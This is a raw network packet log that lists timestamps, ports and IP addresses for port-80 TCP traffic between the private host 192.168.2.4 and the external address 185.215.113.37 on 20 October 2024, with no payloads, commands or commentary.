Oct 20, 2024 06:40:20.840557098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840560913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840576887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840579033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840588093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840600014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840609074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840610981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840620041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840641022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840665102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840687990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840703964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840725899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840734959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840743065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840747118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840759993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840775013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840775967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840785027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840787888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840797901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840809107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840811014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840825081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840830088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840842009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840842962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840852976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840863943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840868950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840877056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840894938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840918064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841038942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841049910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841061115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841073036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841084003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841085911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841094971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841106892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841111898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841129065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841134071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841144085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841145992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841156960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841167927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841167927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841180086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841186047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841191053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841202974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841209888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841214895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841226101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841227055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841242075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841250896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841254950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841264963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841276884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841276884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841291904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841296911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841309071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841310978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841319084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841329098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841341019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841346025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841351032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841362000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841365099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841373920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841392040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841392040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841403961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841408968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841414928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841433048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841433048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841444016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841449022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841456890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841459990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841470957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841481924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841483116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841494083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841506004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841506958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841516972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841521978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841527939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841546059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841550112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841567993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841572046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841578960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841590881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841598034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841607094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841612101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841624975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841635942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841638088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841645956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841658115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841659069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841676950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841681957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841689110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841696978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841706038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841708899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841731071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841733932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841744900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841754913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841757059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841766119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841778040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841779947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841789007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841800928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841813087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841814995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841828108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841830015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841840029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841849089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841860056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841864109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841871023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841882944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841888905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841895103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841908932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841913939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841924906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841924906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841937065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841947079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841948032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841958046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.841972113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.841998100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842140913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842150927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842160940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842181921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842195034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842204094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842205048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842216969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842228889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842228889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842246056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842257023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842262983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842276096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842288017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842298985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842299938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842313051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842324018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842324972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842336893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842345953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842353106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842358112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842370987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842375040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842381001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.842390060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842413902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.842490911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.878567934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.878587008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.878599882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.878643036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.878670931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.926245928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.926255941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.926304102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.028743029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028754950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028765917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028769970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028774977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028784990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028790951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028911114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.028912067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.028912067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.028968096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.028985977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029002905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029014111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029031992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029032946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029042006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029047012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029057026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029073954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029073954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029087067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029098034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029102087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029103994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029109001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029115915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029119015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029130936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029143095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029145956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029156923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029160023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029162884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029175997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029181957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029182911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029186964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029197931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029200077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029212952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029223919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029227972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029234886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029247999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029256105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029261112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029272079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029279947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029288054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029297113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029308081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029314041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029325962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029336929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029337883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029345989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029359102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029359102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029372931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029383898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029383898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029396057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029406071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029407978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029417038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029428959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029438972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029438972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029447079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029468060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029473066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029479980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029485941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029499054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029509068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029510021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029520988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029524088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029531956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029539108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029544115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029556036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029557943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029567957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029577971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029584885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029591084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029602051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029603004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029625893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029628038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029638052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029649973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029654980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029664993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029666901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029681921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029690981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029694080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029704094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029715061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029715061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029732943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029740095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029751062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029761076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029767990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029772043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029782057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029783010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029794931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029804945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029807091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029818058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029829025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029830933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029843092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029844046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029870033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029890060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029892921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029933929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029937029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.029975891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.029999971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030038118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.030073881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030085087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030102968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030113935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030114889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.030137062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.030152082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030162096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030163050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.030173063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030195951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.030219078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.030236959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030247927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030258894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030270100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030281067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.030282021 CEST	49730	80	192.168.2.4	185.215.113.37
